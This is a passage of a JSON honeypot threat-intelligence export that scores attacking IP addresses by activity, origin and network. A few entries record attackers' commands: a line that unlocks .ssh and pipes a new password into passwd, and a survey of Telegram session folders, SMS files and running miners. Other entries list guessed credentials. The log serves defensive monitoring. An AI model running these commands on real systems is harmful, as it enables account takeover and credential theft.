      "reputation_metrics": {
        "total_events_30d": 115,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T08:12:03.127000+00:00",
        "last_seen_30d": "2026-05-19T08:13:58.598000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 73,
        "Suricata": 42
      }
    },
    "198.98.55.60": {
      "attack_count": 60,
      "first_seen": "2026-05-08T20:14:14.930Z",
      "last_seen": "2026-05-28T10:36:58.800Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Staten Island",
      "asn": 53667,
      "as_org": "FranTech Solutions",
      "threat_score": 43.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 18.5,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 70,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T20:14:14.930000+00:00",
        "last_seen_30d": "2026-05-28T10:38:01.260000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 40,
        "Suricata": 30
      }
    },
    "123.13.21.56": {
      "attack_count": 50,
      "first_seen": "2026-05-12T00:48:12.523Z",
      "last_seen": "2026-05-12T00:53:36.872Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 11.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T00:48:12.523000+00:00",
        "last_seen_30d": "2026-05-12T00:54:39.921000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "223.123.43.2": {
      "attack_count": 50,
      "first_seen": "2026-05-07T02:22:19.219Z",
      "last_seen": "2026-05-07T02:27:43.621Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Islamabad",
      "asn": 138423,
      "as_org": "CMPak Limited",
      "threat_score": 6.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T02:22:19.219000+00:00",
        "last_seen_30d": "2026-05-07T02:28:47.837000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "183.201.208.25": {
      "attack_count": 43,
      "first_seen": "2026-05-05T07:00:50.978Z",
      "last_seen": "2026-05-05T07:21:40.642Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "hadoop",
        "345gs5662d34",
        "admin",
        "test8"
      ],
      "passwords_attempted": [
        "111111",
        "3245gs5662d34",
        "345gs5662d34",
        "Administrator",
        "test8"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "echo \"111111\\neU6x5yaJQske\\neU6x5yaJQske\\n\"|passwd",
        "echo -e \"111111\\neU6x5yaJQske\\neU6x5yaJQske\"|passwd|bash",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 132510,
      "as_org": "IDC ShanXi China Mobile communications corporation",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 57,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T07:00:50.978000+00:00",
        "last_seen_30d": "2026-05-05T07:31:37.323000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 43,
        "Suricata": 14
      }
    },
    "115.55.253.150": {
      "attack_count": 40,
      "first_seen": "2026-05-29T21:48:58.373Z",
      "last_seen": "2026-05-29T21:53:17.847Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 28.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 61,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T21:48:58.373000+00:00",
        "last_seen_30d": "2026-05-29T21:54:22.632000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 40,
        "Suricata": 21
      }
    },
    "72.167.141.12": {
      "attack_count": 38,
      "first_seen": "2026-05-30T18:29:35.364Z",
      "last_seen": "2026-05-30T19:35:48.362Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398101,
      "as_org": "GoDaddy.com, LLC",
      "threat_score": 30.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 74,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T18:27:59.807000+00:00",
        "last_seen_30d": "2026-05-30T19:41:03.140000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 38,
        "Suricata": 36
      }
    },
    "92.204.128.6": {
      "attack_count": 38,
      "first_seen": "2026-05-12T19:33:57.523Z",
      "last_seen": "2026-05-12T23:44:35.092Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Warrenton",
      "asn": 398101,
      "as_org": "GoDaddy.com, LLC",
      "threat_score": 11.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 73,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T19:33:57.523000+00:00",
        "last_seen_30d": "2026-05-12T23:45:38.970000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 38,
        "Suricata": 35
      }
    },
    "106.75.227.248": {
      "attack_count": 37,
      "first_seen": "2026-05-29T12:48:04.861Z",
      "last_seen": "2026-05-29T13:31:29.695Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "root",
        "gustavo"
      ],
      "passwords_attempted": [
        "123q123q",
        "Cc123456@",
        "Passw0rd123!",
        "VPS",
        "gustavo"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 17621,
      "as_org": "China Unicom Shanghai network",
      "threat_score": 28.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 64,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T12:48:04.861000+00:00",
        "last_seen_30d": "2026-05-29T13:41:33.591000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 37,
        "Suricata": 27
      }
    },
    "31.57.216.23": {
      "attack_count": 37,
      "first_seen": "2026-05-10T23:56:32.480Z",
      "last_seen": "2026-05-17T08:01:35.739Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "support"
      ],
      "passwords_attempted": [
        "admin",
        "12345678",
        "startfinding",
        "support"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "United Arab Emirates",
      "country_code": "AE",
      "city": null,
      "asn": 197769,
      "as_org": "VPS Dedicated LLC",
      "threat_score": 51.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 18.9,
        "persistence": 20.0,
        "diversity": 10,
        "spread": 15,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 77,
        "days_active_30d": 24,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T22:05:51+00:00",
        "last_seen_30d": "2026-05-25T20:12:27.549000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 37,
        "Suricata": 34,
        "Honeytrap": 6
      }
    },
    "107.172.80.207": {
      "attack_count": 36,
      "first_seen": "2026-05-08T12:44:22.525Z",
      "last_seen": "2026-05-31T07:24:08.804Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Buffalo",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 48.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.2,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T12:44:22.525000+00:00",
        "last_seen_30d": "2026-05-31T07:25:10.779000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 18
      }
    },
    "14.52.46.79": {
      "attack_count": 34,
      "first_seen": "2026-05-19T04:24:27.968Z",
      "last_seen": "2026-05-19T04:25:14.334Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "admin",
        "root"
      ],
      "commands_executed": [
        "/ip cloud print",
        "cat /proc/cpuinfo",
        "echo Hi | cat -n",
        "ifconfig",
        "locate D877F783D5D3EF8Cs",
        "ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*",
        "ps -ef | grep '[Mm]iner'",
        "ps | grep '[Mm]iner'",
        "uname -a"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": null,
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 38.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.1,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 41,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T04:24:27.968000+00:00",
        "last_seen_30d": "2026-05-30T23:59:26.807000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 34,
        "Suricata": 7
      }
    },
    "196.92.7.247": {
      "attack_count": 30,
      "first_seen": "2026-05-28T07:34:19.594Z",
      "last_seen": "2026-05-28T08:05:30.977Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "appuser"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "Abc123!!!",
        "Demo@123",
        "root1"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Morocco",
      "country_code": "MA",
      "city": "Casablanca",
      "asn": 6713,
      "as_org": "Itissalat Al-MAGHRIB",
      "threat_score": 26.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 46,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T07:34:19.594000+00:00",
        "last_seen_30d": "2026-05-28T08:06:38.811000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 16
      }
    },
    "115.55.8.145": {
      "attack_count": 28,
      "first_seen": "2026-05-23T11:53:16.606Z",
      "last_seen": "2026-05-23T11:56:18.066Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 21.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 43,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T11:53:16.606000+00:00",
        "last_seen_30d": "2026-05-23T11:57:21.564000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 15
      }
    },
    "109.87.12.61": {
      "attack_count": 24,
      "first_seen": "2026-05-21T11:01:39.375Z",
      "last_seen": "2026-05-21T11:15:50.469Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Kharkiv",
      "asn": 13188,
      "as_org": "Content Delivery Network Ltd",
      "threat_score": 19.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 37,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T11:01:39.375000+00:00",
        "last_seen_30d": "2026-05-21T11:17:00.089000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 13
      }
    },
    "181.115.172.63": {
      "attack_count": 20,
      "first_seen": "2026-05-21T17:22:33.723Z",
      "last_seen": "2026-05-21T17:37:41.246Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bolivia",
      "country_code": "BO",
      "city": "Santa Cruz de la Sierra",
      "asn": 6568,
      "as_org": "EMPRESA NACIONAL DE TELECOMUNICACIONES SOCIEDAD ANONIMA",
      "threat_score": 18.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 32,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T17:22:33.723000+00:00",
        "last_seen_30d": "2026-05-21T17:43:15.805000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 12
      }
    },
    "105.186.171.155": {
      "attack_count": 18,
      "first_seen": "2026-05-21T01:41:08.461Z",
      "last_seen": "2026-05-21T06:25:43.172Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": "Cape Town",
      "asn": 37457,
      "as_org": "Telkom-Internet",
      "threat_score": 18.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T01:11:33.118000+00:00",
        "last_seen_30d": "2026-05-21T06:26:51.986000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 18,
        "Suricata": 10
      }
    },
    "31.42.188.184": {
      "attack_count": 18,
      "first_seen": "2026-05-13T06:25:49.513Z",
      "last_seen": "2026-05-14T14:01:31.328Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Dronten",
      "asn": 50673,
      "as_org": "Serverius Holding B.V.",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T06:25:49.513000+00:00",
        "last_seen_30d": "2026-05-14T14:02:38.602000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 9
      }
    },
    "121.31.210.125": {
      "attack_count": 15,
      "first_seen": "2026-05-21T22:04:31.059Z",
      "last_seen": "2026-05-29T22:55:08.138Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "examen",
        "icp",
        "monitor"
      ],
      "passwords_attempted": [
        "12345",
        "examen",
        "icp"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 31.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.8,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T22:04:31.059000+00:00",
        "last_seen_30d": "2026-05-29T22:56:16.093000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 9
      }
    },
    "170.150.30.4": {
      "attack_count": 14,
      "first_seen": "2026-05-24T00:59:25.113Z",
      "last_seen": "2026-05-24T01:07:58.012Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Guatemala",
      "country_code": "GT",
      "city": "Guatemala City",
      "asn": 52362,
      "as_org": "Servicios Innovadores de Comunicacion y Entretenimiento, S.A.",
      "threat_score": 20.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T00:59:25.113000+00:00",
        "last_seen_30d": "2026-05-24T01:09:07.603000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 10
      }
    },
    "180.191.23.186": {
      "attack_count": 14,
      "first_seen": "2026-05-19T08:51:31.703Z",
      "last_seen": "2026-05-19T09:20:22.591Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Cabanatuan City",
      "asn": 132199,
      "as_org": "Globe Telecom Inc.",
      "threat_score": 15.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T08:51:31.703000+00:00",
        "last_seen_30d": "2026-05-19T09:21:26.475000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 7
      }
    },
    "27.25.66.209": {
      "attack_count": 14,
      "first_seen": "2026-05-19T12:47:06.035Z",
      "last_seen": "2026-05-19T13:21:05.936Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 15.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T12:47:06.035000+00:00",
        "last_seen_30d": "2026-05-19T13:22:15.529000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 7
      }
    },
    "92.232.136.0": {
      "attack_count": 14,
      "first_seen": "2026-05-14T05:01:11.650Z",
      "last_seen": "2026-05-14T05:09:26.902Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Alexandria",
      "asn": 5089,
      "as_org": "Virgin Media",
      "threat_score": 11.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T05:01:11.650000+00:00",
        "last_seen_30d": "2026-05-14T05:15:27.748000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 9
      }
    },
    "125.110.117.122": {
      "attack_count": 12,
      "first_seen": "2026-05-20T07:31:23.091Z",
      "last_seen": "2026-05-20T08:01:54.548Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 16.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T07:31:23.091000+00:00",
        "last_seen_30d": "2026-05-20T08:03:04.041000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 6
      }
    },
    "15.204.229.113": {
      "attack_count": 12,
      "first_seen": "2026-05-08T08:02:39.865Z",
      "last_seen": "2026-05-18T10:48:06.885Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Reston",
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 18.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T08:02:39.865000+00:00",
        "last_seen_30d": "2026-05-18T10:49:10.371000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "38.156.13.29": {
      "attack_count": 12,
      "first_seen": "2026-05-12T02:14:29.297Z",
      "last_seen": "2026-05-12T02:20:39.710Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Bogot\u00e1",
      "asn": 272156,
      "as_org": "WEB MASTER COLOMBIA SAS",
      "threat_score": 9.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T02:14:29.297000+00:00",
        "last_seen_30d": "2026-05-12T02:21:46.317000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 11
      }
    },
    "45.142.0.5": {
      "attack_count": 12,
      "first_seen": "2026-05-08T12:02:33.425Z",
      "last_seen": "2026-05-12T06:57:23.757Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "British Virgin Islands",
      "country_code": "VG",
      "city": null,
      "asn": 215224,
